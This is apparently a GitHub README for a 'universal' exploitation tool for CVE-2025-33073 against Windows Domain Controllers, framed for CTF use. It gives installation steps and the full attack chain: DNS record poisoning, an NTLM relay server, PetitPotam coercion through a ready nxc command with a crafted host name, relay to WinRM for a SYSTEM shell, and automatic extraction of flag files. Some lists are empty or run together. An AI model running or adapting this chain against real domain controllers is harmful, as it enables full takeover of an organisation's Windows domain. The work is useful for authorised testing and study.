
Universal exploitation tool for CVE-2025-33073 targeting Windows Domain Controllers with DNSAdmins privileges and WinRM enabled.

Universal exploitation tool for CVE-2025-33073 targeting Windows Domain Controllers with DNSAdmins privileges and WinRM enabled.
CVE-2025-33073 is a critical vulnerability that allows attackers to achieve SYSTEM-level code execution on Windows Domain Controllers through a combination of:
This PoC provides a universal, automated exploitation framework compatible with any domain, any username, and any CTF environment.
# Required tools
sudo apt-get update
sudo apt-get install -y python3 python3-pip netcat-openbsd dnsutils
# Python dependencies
pip3 install impacket netexec
# Clone krbrelayx
git clone https://github.com/dirkjanm/krbrelayx
# Clone this repository
git clone https://github.com/uziii2208/CVE-2025-33073
cd CVE-2025-33073
# Make exploit executable
chmod +x exploit.sh
# Verify tools installation
./exploit.sh # Will check all dependencies
./exploit.sh
The script will ask for:
Terminal 1 - Run the exploit:
./exploit.sh
# Follow the interactive prompts
# Wait for: "[!] RELAY READY! OPEN NEW TERMINAL → PASTE COERCE COMMAND!"
Terminal 2 - Execute coerce command (copy from Terminal 1 output):
nxc smb 192.168.1.10 -u 'username' -p 'password' \
-M coerce_plus -o METHOD=PetitPotam LISTENER=localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA.corp.local
Result:
The script automatically searches for and extracts:
*flag*.txt*root*.txt*user*.txtproof.txtLocated in: C:\Users\*\Desktop\
All outputs saved in: /0pwn_exploit_<TIMESTAMP>/
relay.log - NTLM relay server outputdns.log - DNS operation logsshell_output.log - Shell commands and extracted flags1. DNS Poisoning (krbrelayx.dnstool)
└─> Modify/Create DNS record pointing to attacker IP
2. NTLM Relay Server (ntlmrelayx.py)
└─> Listen for incoming NTLM authentication
3. Coercion (nxc + PetitPotam)
└─> Force DC to authenticate to attacker IP
4. Relay → WinRMS
└─> Relay authentication to target WinRMS
5. SYSTEM Shell
└─> Execute commands as SYSTEM
6. Auto Flag Extraction
└─> Search and extract all flags
Edit LONGHOST variable in exploit.sh:
LONGHOST="localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA"
Modify run_shell_commands() function to search for different file patterns:
# Add custom patterns here
echo "powershell \"Get-ChildItem -Path 'C:\\Users\\*\\Desktop' -Include '*custom*.txt' ...\""
This PoC is provided for:
Unauthorized access to computer systems is illegal.
net group "DNSAdmins" /domainping <DC_IP>nxc smb <DC_IP> -u username -p passwordwinrm quickconfigshell_output.log for errorsnc -zv 127.0.0.1 <SHELL_PORT>run_shell_commands()/0pwn_exploit_1234567890/
├── relay.log # NTLM relay server output
├── dns.log # DNS operation details
└── shell_output.log # Extracted flags & command output
# View relay events
grep "SYSTEM SHELL" /0pwn_exploit_*/relay.log
# Extract all flags
grep "===" /0pwn_exploit_*/shell_output.log -A 10
# Check DNS operations
cat /0pwn_exploit_*/dns.log
[Demo & Screenshots] - [Coming Soon]

0pwn (uziii2208) - Original concept & research AI Enhanced - v1.0 improvements & auto-flag extraction
MIT License - See LICENSE file for details
LEGAL NOTICE:
This software is provided for educational and authorized security testing purposes only. Unauthorized access to computer systems is illegal and punishable by law.
By using this tool, you agree to:
Contributions welcome! Please submit issues and pull requests.
For issues, questions, or improvements:
Status: ✅ Tested & Verified Version: 1.0 (Universal) Last Updated: 2025